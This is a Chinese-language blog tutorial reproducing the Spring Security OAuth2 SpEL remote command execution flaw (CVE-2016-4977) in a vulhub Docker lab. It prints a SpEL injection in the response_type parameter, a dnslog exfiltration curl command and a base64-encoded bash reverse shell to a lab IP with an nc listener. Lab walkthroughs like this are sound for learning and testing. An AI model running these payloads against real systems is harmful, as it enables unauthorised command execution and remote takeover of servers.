Spring Security OAuth2远程命令执行漏洞(CVE-2016-4977)


Spring Security OAuth2远程命令执行漏洞

漏洞简述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

远程攻击者可通过为‘response_type’参数制作值利用该漏洞执行代码。

影响版本

Spring Security OAuth 1.0.0到1.0.5
Spring Security OAuth 2.0.0到2.0.9
Spring Security OAuth 2.0到2.0.14
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.3到2.3.2

环境搭建

cd /vulhub/spring/CVE-2016-4977
docker-compose up -d

漏洞复现

先打开网页

image-20220506131932482

访问http://192.168.3.151:8080/oauth/authorize

需要登录,账号密码都是admin

image-20220506132208724

构造参数

?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

image-20220506132455299

验证漏洞

打开dnslog

image-20220506133205933

得到一个随机的dns

然后构造参数

curl `whomai`.xcexay.dnslog.cn

再打开转换工具java命令执行payload

image-20220506133227187

bash -c {echo,Y3VybCBgd2hvYW1pYC54Y2V4YXkuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

接下来使用官方的小玩意

poc.py

使用这个

python3 poc.py

然后把上面的东西扔进去

image-20220506133954553

把下面这一坨复制下来

image-20220506134029466

扔在这里

出来回显

image-20220506134056414

构造反弹shell

bash -i >& /dev/tcp/192.168.3.134/4444 0>&1

然后在kali上设置监听

nc -lvvp 4444

把shell编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20220506134458155

用poc.py把编码再搞一下

image-20220506134632044

最后把这上面的东西复制过去

连接成功

image-20220506134754094

ok结束!!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录